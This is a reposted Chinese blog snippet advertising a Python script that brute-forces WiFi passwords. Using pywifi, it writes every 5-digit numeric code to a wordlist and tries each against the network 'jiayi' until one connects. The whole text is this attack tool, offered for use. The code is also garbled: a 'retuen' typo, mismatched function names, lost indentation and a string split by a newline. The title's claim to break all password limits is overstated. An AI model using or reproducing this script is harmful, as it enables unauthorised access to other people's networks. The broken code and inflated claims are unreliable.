转自:Python最新暴力破解WiFi,攻破所有密码限制,最强破解!
import time
import pywifi
import itertools as its
from pywifi import const
def wificonnect(pwd):
#抓取网卡接口
wifi = pywifi.PyWiFi()
#获取第一个无线网卡
ifaces = wifi.interfaces()[0]
#断开所有连接
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
#创建wifi连接文件
profile = pywifi.Profile()
#要连接wifi的名称
profile.ssid = 'jiayi'
#网卡的开放状态
profile.auth = const.AUTH_ALG_OPEN
#wifi加密算法,一般为WPA2 PSK
profile.akm.append(const.CIPHER_TYPE_CCMP)
#调用密码
profile.key = pwd
#删除所有连接过的wifi文件
ifaces.remove_all_network_profiles()
#设定新的连接文件
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
#wifi连接时间
time.sleep(3)
if ifaces.status() == const.IFACE_CONNECTED:
retuen True
else:
return False
else:
print('已有wifi连接')
def readPassword(path):
print('开始破解:')
#密码本路径
file = open(path, 'r')
while True:
try:
pad = file.readline()
conn = wifiConnect(pad)
if conn:
print('', pad)
print()
break
else:
#跳出当前循环,进行下次循环
print('密码破解中...密码校对:',pad)
except:
continue
file.close()
words = '1234567890'
path = './password.txt'
#生成密码本位数
r = its.product(words, repeat=5)
fp = open(path, 'a')
for i in r:
fp.write(''.join(i)+'
')
fp.close()
readPassword(path)